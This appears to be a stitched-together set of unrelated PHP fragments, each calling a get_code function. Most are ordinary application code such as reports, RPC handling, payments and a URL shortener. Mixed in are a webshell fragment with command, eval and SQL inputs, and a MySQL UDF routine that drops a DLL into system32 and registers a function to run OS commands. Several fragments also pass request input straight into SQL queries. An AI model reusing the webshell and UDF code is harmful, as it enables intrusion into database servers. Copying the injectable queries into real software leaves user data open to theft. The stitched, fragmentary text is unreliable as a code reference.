public function checkEnNameUnique($data) { $userModel = $this->getModel(); $result = $userModel->getUserByEnName($data); if (false === $result) { return data_pack(get_code('FIND_DATA_FAIL'), get_lang('OPERATION_FAIL')); } if ($result) { return data_pack(get_code('DATA_REPEATE'), get_lang('DATA_REPEATE', $data['en_name'])); } return data_pack(get_code('SUCC')); }
function get_code_block_link($start_id, $end_id) { $res = get_code($start_id); $file = $res['file']; $line = $res['line']; $res = get_code($end_id); $file_end = $res['file']; $line_end = $res['line']; if ($file_end != $file) { return "<div class=\"error\">Operation ends in a different file</div>"; } return 'source.php' . "?file={$file}&line={$line}&first={$line}&last={$line_end}#{$line}"; }
public function index() { $valiRes = $this->runValidate(); if (!$valiRes['result']) { return $this->isAjax() ? $this->ajaxReturn(get_code('PARAM_VALI_FAIL'), $valiRes['error']) : $this->showError($valiRes['error']); } $params = $this->runBefore($valiRes['data']); $service = $this->getService(); $result = $service->index($params); if (!is_succ_pack($result)) { return $this->isAjax() ? $this->ajaxReturn($result) : $this->showError($result['error']); } $this->runAfter($params, $result['data']); }
/** * 广度便利树形目录,找到code=>学科中文名字和树形结构 */ function trivalIndex($url, &$className) { $isReadCache = false; global $cacheDir; $pattern1 = '/<a.*?onclick="ClickNode\\(\'(.*?)\',.*?>(.*?)<\\/a>/'; //目录的根节点 $pattern2 = '/<input type="checkbox" id="selectbox" value="(.*?)".*?name="(.*?)" .*?>/'; //有子目录的节点 $dir = get_code($url); $fileName = "./index/{$cacheDir}/" . $dir . ".html"; $content = ""; if (file_exists($fileName)) { echo "get file {$fileName} from cache\n"; $content = file_get_contents($fileName); $isReadCache = true; } else { echo "get file {$fileName} from network\n"; $content = @file_get_contents($url); save($fileName, $content); $isReadCache = false; } $match = array(); $ret = preg_match_all($pattern1, $content, $match); if (!$ret) { $ret = preg_match_all($pattern2, $content, $match); echo "[WARNNING] use pattern 2\n {$content}\n"; if (!$ret) { //echo "not found $url\n"; save("./index/{$cacheDir}/{$cacheDir}.log", $url . "\n" . $content . "\n\n", "a+"); return; } } $code = $match[1]; $name = $match[2]; for ($i = 0; $i < count($code); $i++) { $namei = $name[$i]; $codei = $code[$i]; //var_dump($codei); echo "\n{$namei} => {$codei}\n"; addCode($namei, $codei); $className[$namei] = array(); $url = replace_code($codei); trivalIndex($url, $className[$namei]); if ($isReadCache == false) { sleep(4); } } }
public function run($name, $args) { $lastSeparator = strrpos($name, '_'); $rpcArgs = array('service' => substr($name, 0, $lastSeparator), 'method' => substr($name, $lastSeparator + 1), 'params' => $args); try { LoggerUtil::info('RPC CALL: ' . json_encode($rpcArgs, JSON_UNESCAPED_UNICODE)); $serviceName = $this->getServiceName($rpcArgs['service'], false); $service = new $serviceName(); $methodName = $rpcArgs['method']; if (!method_exists($service, $methodName)) { throw new \Exception(get_lang('METHOD_NOT_FOUND', $methodName)); } $result = call_user_func_array(array($service, $methodName), $rpcArgs['params']); LoggerUtil::info('RPC SUCC: ' . json_encode($result, JSON_UNESCAPED_UNICODE)); return $result; } catch (\Exception $e) { LoggerUtil::error('RPC FAIL: ' . $e->getMessage()); return data_pack(get_code('REMOTE_RPC_FAIL'), $e->getMessage()); } }
?> <li> <div> <?php if (isset($trace['file'])) { ?> in <?php echo short($trace['file'], DIRECTORY_SEPARATOR); ?> line <?php echo $trace['line']; ?> <span class="collapse-syntac active">+</span> <div class="syntac"> <?php $syntax = get_code($trace['file'], $trace['line']); ?> <pre class="brush: php; toolbar: false; highlight: [<?php echo $trace['line']; ?> ]; first-line:[<?php echo $syntax['start']; ?> ]"><?php echo $syntax['code']; ?> </pre> </div> <?php } ?>
echo '<div id="exercise-pane"></div>'; if ($exerid == 0) { echo '<h2>Tập viết chương trình</h2>'; } else { $question = get_question($exerid); echo '<h2>Bài số ' . $exerid . '</h2>'; echo '<p class="question">' . $question . '</p>'; } ?> <div id="left"> <table class="large"> <tr> <td> <textarea name="code" id="code"> <?php echo get_code($exerid, $username); ?> </textarea> </td> </tr> <tr> <td> <input type="button" onclick="compileFunct('<?php echo $filename; ?> .pas', <?php echo $exerid; ?> )" class="btn" value="Biên dịch" id="compile"> </td> </tr>
public function afterSave($params, $result) { $result['hoppy'] = explode(",", $result['hoppy']); return $this->ajaxReturn(get_code('SUCC'), null, $result); }
if (isset($_GP['x']) && $_GP['x'] == 'ps') { echo "ps"; } ?> '; var sself = '<?php echo adds($s_self); ?> '; var hexcounter = 0; var hextimer = ''; var counter = 0; </script> <?php echo get_code("js", $s_js); ?> <script type='text/javascript'> domready(function(){ <?php if (isset($_GP['cmd'])) { echo "if(d.getElementById('cmd')) d.getElementById('cmd').focus();"; } ?> <?php if (isset($_GP['evalcode'])) { echo "if(d.getElementById('evalcode')) d.getElementById('evalcode').focus();"; } ?> <?php if (isset($_GP['sqlcode'])) {
<?php require_once 'common.php'; function get_code($id = 0, $name = '') { $pID = intval($id); $pName = check_sql($name); $query = "SELECT ID,Name,Type,Author,Time,Version,Web,Description,Code FROM Plugin"; if (is_int($pID) and $pID > 0) { $query .= " WHERE ID={$pID}"; } elseif ($pName != '') { $query .= " WHERE Name={$pName}"; } // print($query.'<br>'); // $ret = array('data' => array(), ); $result = mysql_query($query); if ($row = mysql_fetch_row($result)) { foreach ($row as $key => $value) { // echo $key.' => '.$value; $row[$key] = check_xss($value); } $ret['data'][] = $row; return $ret; } } $name = check_sql(trim($_REQUEST['name'])); $id = check_sql(trim($_REQUEST['id'])); // echo '$id='.$id.'<br>'; $data = get_code($id, $name); echo json_encode($data);
function do_register() { $network = get_network(); switch ($_GET['status']) { case 'check': $user_or_code = get_user(); if (!$user_or_code) { $user_or_code = get_code(); } if (!$user_or_code) { echo 'available'; } else { echo 'taken'; } return; case 'new_code': $sql = 'INSERT INTO ' . db_table('codes') . ' (network_id, username, password, valid_from, created, ' . access_control_fields() . ') ' . 'VALUES (' . $network['id'] . ',\'' . $_GET['user'] . '\',\'' . $_GET['pass'] . '\', now(), now(), ' . access_control_values($network, 'defcode') . ')'; $resource = 'codes'; break; case 'new_user': $sql = 'INSERT INTO ' . db_table('users') . ' (network_id, username, password, valid_from, created, ' . access_control_fields() . ') ' . 'VALUES (' . $network['id'] . ',\'' . $_GET['user'] . '\',\'' . $_GET['pass'] . '\', now(), now(), ' . access_control_values($network, 'defuser') . ')'; $resource = 'users'; break; } db_query($sql, false); $id = db_lastid(); if ($id) { $input = $_POST; if (!$input) { $input = file_get_contents("php://input"); } $lines = preg_split("/\n+/", $input); $attrs = array(); foreach ($lines as $line) { $p = preg_split('/[=: ]+/', $line, 2); if ($p[0] && $p[1]) { $attrs[$p[0]] = $p[1]; } } save_attributes($id, $resource, $attrs); } }
function print_royalty_sales() { $from = $_POST['PARAM_0']; $to = $_POST['PARAM_1']; $item = $_POST['PARAM_2']; $status = $_POST['PARAM_3']; $destination = $_POST['PARAM_4']; $orientation = $_POST['PARAM_5']; global $path_to_root, $systypes_array; if ($destination) { include_once $path_to_root . "/reporting/includes/excel_report.inc"; } else { include_once $path_to_root . "/reporting/includes/pdf_report.inc"; } $result = fetchRoyalty($item); $name = ""; while ($book = db_fetch($result)) { $name = $book[1]; } $params = array(0 => $comments, 1 => array('text' => _('Item'), 'from' => $name)); $orientation = $orientation ? 'L' : 'P'; $dec = user_price_dec(); $cols = array(0, 200, 210, 300, 310, 360, 380, 430, 440, 490, 500, 550); $headers = array(_('Client'), '', _('IMC'), '', _('Invoice/CM #'), '', _('Date'), '', _('Quantity'), '', _('Status')); $aligns = array('left', 'left', 'left', 'left', 'right', 'right'); $usr = get_user($user); $user_id = $usr['user_id']; $rep = new FrontReport(_('Royalty Sales'), "RoyaltySales", user_pagesize(), 9, $orientation); if ($orientation == 'L') { recalculate_cols($cols); } $rep->SetHeaderType('Header'); $rep->Font(); $rep->Info($params, $cols, $headers, $aligns); $rep->NewPage(); if ($item == '') { $no_title_print = false; $enter = true; } else { $no_title_print = true; $enter = false; } if ($no_title_print) { $rep->Font('bold'); $rep->TextCol(0, 1, $item); $rep->TextCol(2, 10, fetchTitle($item)); $rep->Font(); } $total = 0; $total_invoice_qty = 0; $total_credit_qty = 0; $rep->NewLine(); if ($item == "") { $code = array(); $ItemCode = fetchItemCode(); while ($r = db_fetch($ItemCode)) { array_push($code, $r[0]); } $total = 0; $total_invoice_qty = 0; $total_credit_qty = 0; foreach ($code as $codes) { $result = fetchRoyalty($codes, $status, $from, $to); $bookname = fetchTitle($codes); $rep->Font('bold'); $rep->TextCol(0, 5, $codes . "-" . $bookname); $rep->Font(); $rep->NewLine(); while ($myrow = db_fetch($result)) { if ($myrow['alloc'] == $myrow['ov_amount']) { $stat = 'Closed'; } if ($myrow['alloc'] < $myrow['ov_amount']) { $stat = 'Open'; } $scode = get_code($myrow['salesman']); $salesman = get_salesman_name($myrow['salesman']); $total_invoice_qty += $myrow[3]; $clientName = get_customer_name($myrow[0]); $rep->TextCol(0, 1, $clientName); $rep->TextCol(2, 3, $scode); $rep->TextCol(4, 5, ' ' . $myrow['customized_no']); $rep->TextCol(6, 7, $myrow['tranDate']); $rep->TextCol(8, 9, $myrow['quantity']); $rep->TextCol(10, 11, $stat); $rep->NewLine(); } $result1 = fetchCreditMemo($codes, $status, $from, $to); while ($myrow1 = db_fetch($result1)) { if ($myrow1[3] > 0) { if ($myrow1['alloc'] == $myrow1['ov_amount']) { $stat = 'Closed'; } if ($myrow1['alloc'] < $myrow1['ov_amount']) { $stat = 'Open'; } } $qty = -$myrow1['quantity']; $total_credit_qty += $qty; $scode = get_code($myrow1['salesman']); $clientName2 = get_customer_name($myrow1[0]); $rep->TextCol(0, 1, $clientName2); $rep->TextCol(2, 3, $scode); $rep->TextCol(4, 5, ' ' . $myrow1['customized_no']); $rep->TextCol(6, 7, $myrow1['tranDate']); $rep->TextCol(8, 9, $qty); $rep->TextCol(10, 11, $stat); $rep->NewLine(); } $rep->NewLine(1); $total = $total_invoice_qty + $total_credit_qty; $rep->Font('bold'); $rep->TextCol(6, 7, _("Total")); $rep->TextCol(8, 9, $total); $rep->Line($rep->row + 10); $rep->Font(); $rep->NewLine(); $total = 0; $total_invoice_qty = 0; $total_credit_qty = 0; } } else { $result = fetchRoyalty($item, $status, $from, $to); while ($myrow = db_fetch($result)) { if ($myrow['alloc'] == $myrow['ov_amount']) { $stat = 'Closed'; } if ($myrow['alloc'] < $myrow['ov_amount']) { $stat = 'Open'; } $scode = get_code($myrow['salesman']); $salesman = get_salesman_name($myrow['salesman']); $total_invoice_qty += $myrow[3]; $clientName = get_customer_name($myrow[0]); $rep->TextCol(0, 1, $clientName); $rep->TextCol(2, 3, $scode); $rep->TextCol(4, 5, ' ' . $myrow['customized_no']); $rep->TextCol(6, 7, $myrow['tranDate']); $rep->TextCol(8, 9, $myrow['quantity']); $rep->TextCol(10, 11, $stat); $rep->NewLine(); } $result1 = fetchCreditMemo($item, $status, $from, $to); while ($myrow1 = db_fetch($result1)) { if ($myrow1[3] > 0) { if ($myrow1['alloc'] == $myrow1['ov_amount']) { $stat = 'Closed'; } if ($myrow1['alloc'] < $myrow1['ov_amount']) { $stat = 'Open'; } $qty = -$myrow1['quantity']; $total_credit_qty += $qty; $scode = get_code($myrow1['salesman']); $clientName2 = get_customer_name($myrow1[0]); $rep->TextCol(0, 1, $clientName2); $rep->TextCol(2, 3, $scode); $rep->TextCol(4, 5, ' ' . $myrow1['customized_no']); $rep->TextCol(6, 7, $myrow1['tranDate']); $rep->TextCol(8, 9, $qty); $rep->TextCol(10, 11, $stat); $rep->NewLine(); } } $rep->NewLine(1); $total = $total_invoice_qty + $total_credit_qty; $rep->Font('bold'); $rep->TextCol(6, 7, _("Total")); $rep->TextCol(8, 9, $total); $rep->Line($rep->row + 10); $rep->NewLine(); $total = 0; $total_invoice_qty = 0; $total_credit_qty = 0; } $rep->End(); }
$smarty->assign('payment', get_payment()); $order_id = intval($_GET['order_id']); $myorder = get_order_one($_SESSION['uid'], $order_id); $payment = get_payment_info($myorder['payment_name']); if (empty($payment)) { showmsg("支付方式错误!", 0); } $fee = number_format($amount / 100 * $payment['fee'], 1, '.', ''); //手续费 $order['oid'] = $myorder['oid']; //订单号 $order['v_url'] = $_CFG['site_domain'] . $_CFG['site_dir'] . "include/payment/respond_" . $payment['typename'] . ".php"; $order['v_amount'] = $myorder['amount'] + $fee; if ($myorder['payment_name'] != 'remittance' && $myorder['payment_name'] != 'weixinpay') { require_once QISHI_ROOT_PATH . "include/payment/" . $payment['typename'] . ".php"; $payment_form = get_code($order, $payment); if (empty($payment_form)) { showmsg("在线支付参数错误!", 0); } } elseif ($myorder['payment_name'] == 'weixinpay') { require_once QISHI_ROOT_PATH . 'include/payment/native.php'; $smarty->assign('w_url', urlencode($url2)); fopen(QISHI_ROOT_PATH . 'data/wxpay/' . $myorder['oid'] . '.tmp', "w") or die("无法打开缓存文件!"); $_SESSION['wxpay_no'] = $myorder['oid']; } $smarty->assign('points', get_user_points($_SESSION['uid'])); $smarty->assign('title', '付款 - 猎头会员中心 - ' . $_CFG['site_name']); $smarty->assign('fee', $fee); $smarty->assign('amount', $myorder['amount']); $smarty->assign('oid', $order['oid']); $smarty->assign('byname', $payment);
echo get_code($line_d[0]); ?> "><?php echo $id; ?> </a>:<?php echo $line_d[2]; ?> (<?php echo $cur_code_usage[1] == '0' ? '<span class="text-muted">未使用</span>' : '<span class="text-danger">已使用</span>'; ?> <span class="badge" title="查询次数"><?php echo $cur_code_usage[2]; ?> </span>,<code><?php echo get_code($id); ?> </code>)<ul><li><?php echo $line_d[3]; ?> (<?php echo $line_d[1]; ?> )</li></ul></li> <?php } ?> </ul> <?php } if ($pagetype == 'adminedit') {
function Mysql_u() { extract($_POST); extract($_GET); $mysql_hostname = $mysql_hostname ? $mysql_hostname : "localhost"; $mysql_username = $mysql_username ? $mysql_username : "******"; $post_sql = $post_sql ? $post_sql : "select state(\"net user\")"; $mysql_dbname = $mysql_dbname ? $mysql_dbname : "mysql"; if ($install) { $link = mysql_connect($mysql_hostname, $mysql_username, $mysql_passwd) or die(mysql_error()); mysql_select_db($mysql_dbname, $link) or die(mysql_error()); @mysql_query("DROP TABLE udf_temp", $link); $query = "CREATE TABLE udf_temp (udf BLOB);"; if (!($result = mysql_query($query, $link))) { die('创建临时表失败' . mysql_error()); } else { $code = get_code(); $query = "INSERT into udf_temp values (CONVERT({$code},CHAR));"; if (!mysql_query($query, $link)) { mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error()); die('安装dll失败' . mysql_error()); } else { $dllname = "mysqlDll.dll"; if (file_exists("c:\\windows\\system32\\")) { $dir = "c:\\\\windows\\\\system32\\\\mysqlDll.dll"; } elseif (file_exists("c:\\winnt\\system32\\")) { $dir = "c:\\\\winnt\\\\system32\\\\mysqlDll.dll"; } if (file_exists($dir)) { $time = time(); $dir = str_replace("mysqlDll", "mysqlDll_{$time}", $dir); $dllname = str_replace("mysqlDll", "mysqlDll_{$time}", $dllname); } $query = "SELECT udf FROM udf_temp INTO DUMPFILE '" . $dir . "';"; if (!mysql_query($query, $link)) { die("安装失败:{$dir无权}" . mysql_error()); } else { echo '<font style=font:11pt color=ff0000>' . $dir . '安装成功</font><br>'; } } mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error()); $result = mysql_query("Create Function state returns string soname '{$dllname}'", $link) or die(mysql_error()); if ($result) { echo "成功<br><a href='?'>返回</a>"; exit; } } } ?> <form method="post" action="?s=ee"><div class="actall">Host:<input name="mysql_hostname" value="<?php echo $mysql_hostname; ?> " type="text" style="width:100px" > User:<input name="mysql_username" value="<?php echo $mysql_username; ?> " type="text" style="width:70px"> Password:<input type="password" name="mysql_passwd" value="<?php echo $mysql_passwd; ?> " style="width:70px"> DB:<input name="mysql_dbname" value="<?php echo $mysql_dbname; ?> " type="text" style="width:70px"> <input class="bt" name="install" type="submit" value="安装"><br><br> sql执行:<br> <textarea name="post_sql" cols="80" rows="10"><?php echo stripslashes($post_sql); ?> </textarea><br> <input class="bt" name="" type="submit" value="执行"><br></form> 回显:</div> <?php if ($_POST[post_sql]) { $link = mysql_connect($mysql_hostname, $mysql_username, $mysql_passwd) or die(mysql_error()); if ($mysql_dbname) { mysql_select_db($mysql_dbname, $link) or die(mysql_error()); } $query = stripslashes($post_sql); $result = mysql_query($query, $link) or die(mysql_error()); ?> <br><textarea name="post_sql" style="width:610px;height:180px;"> <?php echo $result ? "Done:{$result}\n\n" : "error:{$result}\n\n " . mysql_error(); while ($row = @mysql_fetch_array($result)) { print_r($row); } } ?> </textarea> <?php }
function set_up_new_shortener(&$model, &$rec) { global $request; if (!($request->resource == 'blogs')) { return; } // XXX subdomain upgrade $url = $request->url_for(array('resource' => 'twitter/' . $rec->nickname)); require_once ABSPATH . WPINC . '/class-snoopy.php'; $snoop = new Snoopy(); $snoop->agent = 'OpenMicroBlogger http://openmicroblogger.org'; $snoop->submit($url); if (strpos($snoop->response_code, '200')) { $passer = get_code(5); if (signed_in()) { $profile = get_profile(); global $db; if ($db->table_exists('installs')) { $result = $db->get_result("SELECT apikey FROM installs WHERE apiname like '" . $profile->nickname . "'"); $key = $db->result_value($result, 0, 'apikey'); } else { $key = false; } $Shortener =& $db->model('Shortener'); if (!$Shortener->exists) { $Shortener->save(); } $s = $Shortener->base(); if ($key) { $s->set_value('apikey', $key); } $s->set_value('password', $passer); $s->set_value('profile_id', $profile->id); $s->set_value('type', 'tr.im'); $s->set_value('urlcount', 0); $s->set_value('urlbase', $_POST['shortener_domain']); $s->set_value('nickname', $rec->nickname); $s->set_value('endpoint', $request->domain . '/api/trim_url.<format>'); $s->save_changes(); $s->set_etag(); $Identity =& $db->model('Identity'); $Person =& $db->model('Person'); $Entry =& $db->model('Entry'); $TwitterUser =& $db->model('TwitterUser'); $user_identity = get_profile(); $twuser = $TwitterUser->find_by('profile_id', $user_identity->id); if ($twuser) { $user_person = $Person->find($user_identity->person_id); $mystuff = array(); $Entry->set_limit(100000); $Entry->find_by(array('person_id' => $user_person->id)); while ($e = $Entry->MoveNext()) { $model =& $db->get_table($e->resource); $twuser_rec = $model->find($e->record_id); if (!($e->resource == 'blogs')) { $saverec = $model->find($e->record_id); if ($saverec) { $mystuff[] = $saverec; $mystuff[] = $e; } } } // switch database namespace global $prefix; $prefix = $rec->prefix . "_"; $db->prefix = $prefix; if ($twuser->profile_id) { $Person =& $db->model('Person'); $Person->save(); $p = $Person->base(); foreach ($user_person->attributes as $key => $val) { $p->set_value($key, $val); } $p->save(); $TwitterUser =& $db->model('TwitterUser'); $TwitterUser->save(); $t = $TwitterUser->base(); foreach ($twuser->attributes as $key => $val) { $t->set_value($key, $val); } $t->save(); $saved = array(); foreach ($mystuff as $r) { $model =& $db->get_table($r->table); if (!($r->table == 'entries') && !isset($saved[$r->table])) { $model->save(); $saved[$r->table] = true; } $new = $model->base(); foreach ($r->attributes as $key => $val) { $new->set_value($key, $val); } $new->save(); } $Membership =& $db->model('Membership'); $Membership->save(); $me = $Membership->base(); $me->set_value('person_id', $p->id); $me->set_value('group_id', 2); $me->save_changes(); $me->set_etag($p->id); $Setting =& $db->model('Setting'); $s = $Setting->base(); $s->set_value('profile_id', $twuser->profile_id); $s->set_value('person_id', $p->id); $s->set_value('name', 'twitter_status'); $s->set_value('value', 'enabled'); $s->save_changes(); $s->set_etag($p->id); $user = $rec->nickname; $pass = $passer; $data = base64_encode('a:14:{s:7:"service";s:5:"other";s:8:"location";s:0:"";s:11:"yourls_path";s:0:"";s:10:"yourls_url";s:0:"";s:12:"yourls_login";s:0:"";s:15:"yourls_password";s:0:"";s:5:"other";s:4:"rply";s:11:"bitly_login";s:0:"";s:14:"bitly_password";s:0:"";s:10:"trim_login";s:0:"";s:13:"trim_password";s:0:"";s:10:"rply_login";s:3:"' . $user . '";s:13:"rply_password";s:5:"' . $pass . '";s:19:"pingfm_user_app_key";s:0:"";}'); $s = $Setting->base(); $s->set_value('profile_id', $twuser->profile_id); $s->set_value('person_id', $p->id); $s->set_value('name', 'ozh_yourls'); $s->set_value('value', $data); $s->save_changes(); $s->set_etag($p->id); $Method =& $db->model('Method'); if (!$Method->exists) { $Method->save(); } $m = $Method->base(); $m->set_value('code', ' do_shorten(); '); $m->set_value('function', 'api_trim_url'); $m->set_value('route', 'api/trim_url'); $m->set_value('resource', 'posts'); $m->set_value('permission', 'read'); $m->set_value('enabled', true); $m->set_value('omb', 0); $m->set_value('oauth', 1); $m->set_value('http', 1); $m->save_changes(); $m->set_etag($p->id); $m = $Method->base(); $m->set_value('code', ' do_shorten(); '); $m->set_value('function', 'api_trim_simple'); $m->set_value('route', 'api/trim_simple'); $m->set_value('resource', 'posts'); $m->set_value('permission', 'read'); $m->set_value('enabled', true); $m->set_value('omb', 0); $m->set_value('oauth', 1); $m->set_value('http', 1); $m->save_changes(); $m->set_etag($p->id); $_SESSION['oauth_person_id'] = $p->id; $_SESSION['oauth_access_token'] = $t->oauth_key; $_SESSION['oauth_access_token_secret'] = $t->oauth_secret; $_SESSION['oauth_twitter'] = 'http://' . $rec->nickname . "." . $request->domain; } redirect_to($request->base); } else { trigger_error('sorry, the Twitter username was not found', E_USER_ERROR); } } else { trigger_error('sorry, you must be signed in to do that', E_USER_ERROR); } } else { trigger_error('sorry, the new shortener could not be configured', E_USER_ERROR); } }
<?php include 'index.php'; if ($last_checkin[1] == 401) { get_code(); } if ($_GET['code']) { $token = access_token($_GET['code']); $last_checkin = get_checkins($token[0]['access_token']); sql_connect($connection, $token[0]['access_token']); echo "<p class='text-center'>" . $last_checkin[0]['response']['checkins']['items'][0]['venue']['location']['formattedAddress'][0] . "</p>"; }
// var_dump($row); } return $ret; } function get_code($name = '', $id = 1) { // $pName = check_sql($name); $query = "SELECT Code FROM Plugin WHERE Name='{$name}'"; // print($query.'<br>'); // $ret = array('data' => array(), ); $result = mysql_query($query); if ($row = mysql_fetch_row($result)) { // $code = check_xss($row[0]); $code = $row[0]; // print $code.'<br>'; return check_xss($code); } } $type = check_sql(trim($_REQUEST['type'])); $keyword = check_sql(trim($_REQUEST['keyword'])); $name = check_sql(trim($_REQUEST['name'])); // print($type.$name); if ($name and $name != '') { $data = get_code($name); // var_dump($data); // echo json_encode($data); echo $data; } else { $data = search_plugin($type, $keyword); echo json_encode($data); }
<?php include_once "dbconnect.php"; #GET FUNCTION $function = $_REQUEST['function']; $return_data = array(); switch ($function) { case "search": $return_data = search(); break; case "pick": $return_data = pick(); break; case "getcode": $return_data = get_code(); break; case "addguest": $return_data = add_guest(); break; case "updateguest": $return_data = update_guest(); break; default: $return_data['status'] = "error"; $return_data['error'] = "nofunction"; break; } echo json_encode($return_data); ### FUNCTION TIME function pick() {
function do_shorten() { add_include_path(library_path() . 'urlshort/upload'); require_once 'includes/config.php'; // settings require_once 'includes/gen.php'; // url generation and location $perma = parse_url($_SERVER['REQUEST_URI']); $_PERMA = explode("/", $perma['path']); @array_shift($_PERMA); $shorturl = new shorturl(); $msg = ''; $strurl = ''; global $db, $request; $Url =& $db->model('Url'); global $pretty_url_base; $urlbase = $pretty_url_base; global $prefix; if (!empty($prefix)) { $sql = "SELECT urlbase FROM shorteners WHERE nickname LIKE '" . $db->escape_string($request->username) . "'"; $sql .= " AND password LIKE '" . $db->escape_string($request->password) . "'"; $result = $db->get_result($sql); $url_base = $db->result_value($result, 0, "urlbase"); if ($db->num_rows($result) == 1) { $urlbase = 'http://' . $url_base; } else { trigger_error('sorry the username and password were incorrect', E_USER_ERROR); } } else { $parts = split('\\.', $urlbase); if (count($parts) > 2) { $urlbase = 'http://' . $parts[1] . '.' . $parts[2]; } } if (REWRITE) { $urlbase = $urlbase . dirname($_SERVER['PHP_SELF']); } else { $urlbase = 'http://' . $request->domain . $_SERVER['PHP_SELF']; } if (isset($request->url)) { $longurl = trim(mysql_escape_string($request->url)); $plain = trim(mysql_escape_string($request->plain)); $protocol_ok = false; if (count($allowed_protocols)) { foreach ($allowed_protocols as $ap) { if (strtolower(substr($longurl, 0, strlen($ap))) == strtolower($ap)) { $protocol_ok = true; break; } } } else { $protocol_ok = true; } $protocol_ok = true; $plaincheck = check_plain($plain); // url Required The destination URL to be shortened. // custom Optional A custom URL that is preferred to an auto-generated URL. // searchtags Optional A search string value to attach to a tr.im URL. // privacycode Optional A string value that must be appended after the URL. // newtrim Optional If present with any value, it will force the creation of a new tr.im URL. // sandbox Optional If present with any value a test data set will be returned, and no URL created. This is intended for testing so that you do not consume API calls or insert pointless data while in development. // api_key Optional An application API key assigned to your application. // username Optional A tr.im username that you would like to attach the URL to. // password Optional The password for the tr.im username referenced above. // if the id has been sent to this script if (isset($request->custom) && strlen(trim($request->custom))) { $shorten = trim(mysql_escape_string($request->custom)); $string = "{$shorten}"; list($string1, $string2) = explode("{$install_path}", $string); $shortid = $string1 . $string2; $q2 = 'SELECT url FROM `urls` WHERE `id` LIKE CONVERT(_utf8 \'' . $shortid . '\' USING latin1)'; $result2 = mysql_query($q2); while ($row = mysql_fetch_array($result2, MYSQL_ASSOC)) { printf($row["url"]); exit; } if (mysql_num_rows($result2) == $result2) { $longurl = mysql_result($result2, 1); } else { header('HTTP/1.1 500 Internal Server Error'); exit; } } $make_new_url = true; $q2 = 'SELECT id FROM ' . URL_TABLE . ' WHERE (url="' . $longurl . '")'; $result2 = mysql_query($q2); if (mysql_num_rows($result2)) { $make_new_url = false; } if (isset($request->searchtags)) { $longurl .= $request->searchtags; } if (isset($request->privacycode)) { $longurl .= $request->privacycode; } if (isset($request->newtrim)) { $make_new_url = true; } if ($protocol_ok && $plaincheck) { if (isset($request->sandbox)) { $trimresponse = array('trimpath' => 'w92s', 'reference' => 'lsTZf8vHaslrrmskREhbRArpHh125c', 'trimmed' => '10/08/2009', 'destination' => "http://www.google.com/", 'trim_path' => 'w92S', 'domain' => 'google.com', 'url' => 'http://tr.im/w92S', 'visits' => 0, 'status' => array('result' => 'OK', 'code' => '200', 'message' => 'tr.im URL Added.'), 'date_time' => '2009/08/10 05:46:13 -0400'); $time_of = time(); $responsetype = $request->client_wants; $trimpath = $trimresponse['trimpath']; $reference = $trimresponse['reference']; $trimmed = $trimresponse['trimmed']; $destination = $trimresponse['destination']; $trim_path = $trimresponse['trim_path']; $domain = $trimresponse['domain']; $strurl = $trimresponse['url']; $visits = 0; $status_result = 'OK'; $status_code = '200'; $date_time = $trimresponse['date_time']; } else { $shorturl->add_url($longurl, $plain); if (REWRITE) { $strurl = $urlbase . '' . $shorturl->get_id($longurl); } else { $strurl = $urlbase . '?id=' . $shorturl->get_id($longurl); } $time_of = time() - 3 * 60 * 60; $responsetype = $request->client_wants; $id = $shorturl->get_id($longurl); $trimpath = $id; $reference = get_code(); $trimmed = date("d/m/Y", $time_of); $destination = $longurl; $trim_path = $id; $url_parts = @parse_url($longurl); $domain = $url_parts["host"]; $visits = 0; $status_result = 'OK'; $status_code = '200'; $date_time = date("Y/m/d H:i:s O", $time_of); $l = $Url->find_by(array('id' => $id)); if ($make_new_url) { $l->set_value('text', $plain); $l->set_value('title', $plain); $l->set_value('trimurl', $strurl); $l->set_value('created', date("Y-m-d H:i:s", $time_of)); $l->set_value('date', date("Y-m-d H:i:s", $time_of)); $l->set_value('trimpath', $trimpath); $l->set_value('trimref', $reference); $l->set_value('trimmed', $trimmed); $l->set_value('trimvisits', $visits); $l->set_value('trimtime', $date_time); $l->save_changes(); } else { $reference = $l->reference; $trimpath = $l->trimpath; $reference = $l->trimref; $trimmed = $l->trimmed; $trimpath = $l->trimpath; $trim_path = $l->trimpath; $visits = $l->trimvisits; $date_time = $l->trimtime; $l->set_value('trimvisits', $l->trimvisits + 1); $l->save_changes(); } } $arr = array('destination', 'url', 'trimmed'); if ($responsetype == 'json') { foreach ($arr as $var) { ${$var} = str_replace('/', '\\/', ${$var}); } } if (substr($longurl, -strlen($domain)) == $domain) { $destination .= '\\/'; } $callback1 = ''; $callback2 = ''; if (isset($request->callback)) { $callback1 = $request->callback . '('; $callback2 = ')'; } if ($responsetype == 'json') { header('Content-Type: application/json'); header("Content-Disposition: inline"); } if ($responsetype == 'xml') { echo '<?xml version="1.0" encoding="UTF-8"?> <trim> <status result="OK" code="200" message="tr.im URL Added."/> <url>' . $strurl . '</url> <reference>' . $reference . '</reference> <trimpath>' . $trimpath . '</trimpath> </trim>'; } if ($responsetype == 'json') { echo $callback1 . '{"trimpath": "' . $trimpath . '", "reference": "' . $reference . '", "trimmed": "' . $trimmed . '", "destination": "' . $destination . '", "trim_path": "' . $trim_path . '", "domain": "' . $domain . '", "url": "' . $strurl . '", "visits": ' . $visits . ', "status": {"result": "' . $status_result . '", "code": "' . $status_code . '", "message": "tr.im URL Added."}, "date_time": "' . $date_time . '"}' . $callback2; } } $redircode = '<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title></title> <META HTTP-EQUIV="Refresh" CONTENT="0;URL=' . stripslashes($destination) . '"> <meta name="robots" content="noindex"/> <link rel="canonical" href="' . stripslashes($destination) . '"/> </head> <body> </body> </html>'; $make_s3 = false; if ($url_base && $make_s3) { $redirfile = tempnam("/tmp", $url_base . '/' . $trimpath); $handle = fopen($redirfile, "w"); fwrite($handle, $redircode); fclose($handle); lib_include('S3'); $s3 = new S3(environment('awsAccessKey'), environment('awsSecretKey')); if ($s3) { $s3->getBucket($url_base); $s3->putObjectFile($redirfile, $url_base, $trimpath, 'public-read'); } } } exit; }
